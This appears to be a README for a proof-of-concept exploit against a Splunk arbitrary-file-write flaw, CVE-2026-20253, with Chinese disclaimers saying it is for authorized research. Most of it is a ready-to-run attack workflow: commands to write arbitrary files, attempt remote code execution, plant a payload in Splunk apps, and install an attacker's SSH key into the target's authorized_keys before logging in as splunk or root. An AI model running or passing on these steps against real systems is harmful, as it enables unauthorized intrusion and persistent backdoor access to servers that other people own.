仅在安全且经过授权的环境中使用此项目,例如:
示例设置:
git clone https://github.com/HORKimhab/CVE-2026-20253
cd CVE-2026-20253
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirements
pip install -r requirements.txt
示例用法:
# Basic check
python3 cve-2026-20253.py -t http://target:8000 --check
# Write empty/truncated file
python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/pwned"
# Write with content from file
python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/shell.py" --content poc-content.txt
# Advanced (restore + content)
python3 cve-2026-20253.py -t http://target:8000 --write "/opt/splunk/etc/apps/.../payload.py" --content poc-content.txt --restore
# RCE attempt
python3 cve-2026-20253.py -t http://target:8000 --rce
python3 cve-2026-20253_poc.py -t http://target:8000 \
--write "/path/to/target/file.py" \
--content poc-content.txt --restore
# SSH
# Generate SSH key pair (if you don't have one)
ssh-keygen -t ed25519 -C "poc@attacker" -f ~/.ssh/splunk_poc_key -N ""
# Or use RSA if target is older
# ssh-keygen -t rsa -b 4096 -f ~/.ssh/splunk_poc_key -N ""
cat ~/.ssh/splunk_poc_key.pub > poc-content.txt
python3 cve-2026-20253_poc.py -t http://target:8000 \
--write "/home/splunk/.ssh/authorized_keys" \
--content poc-content.txt \
--restore
python3 cve-2026-20253_poc.py -t http://target:8000 \
--write "/home/splunk/.ssh/authorized_keys" \
--content poc-content.txt
# Make sure permissions are correct on your side
chmod 600 ~/.ssh/splunk_poc_key
# Connect
ssh -i ~/.ssh/splunk_poc_key splunk@target_ip
# Or as root
ssh -i ~/.ssh/splunk_poc_key root@target_ip
# Step 1: Create directory (may not always work)
python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/.placeholder"
# Step 2: Write authorized_keys
python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/authorized_keys" --content poc-content.txt
mkdir -p /home/splunk/.ssh
chmod 700 /home/splunk/.ssh
chmod 600 /home/splunk/.ssh/authorized_keys
chown -R splunk:splunk /home/splunk/.ssh
一个用于在受控环境中学习、测试和研究网络安全概念的仓库。
此仓库仅用于教育和授权的安全研究。
它旨在帮助用户了解:
仅在您拥有权限的环境中使用此仓库,例如:
严禁未经授权或非法使用。
作者和贡献者不对因本项目造成的任何损害、误用、法律问题或损失承担责任。
使用此仓库即表示您同意:
本项目旨在用于:
请遵循负责任的披露实践,并遵守所有适用法律。
如需负责披露或合作,请通过GitHub联系仓库维护者。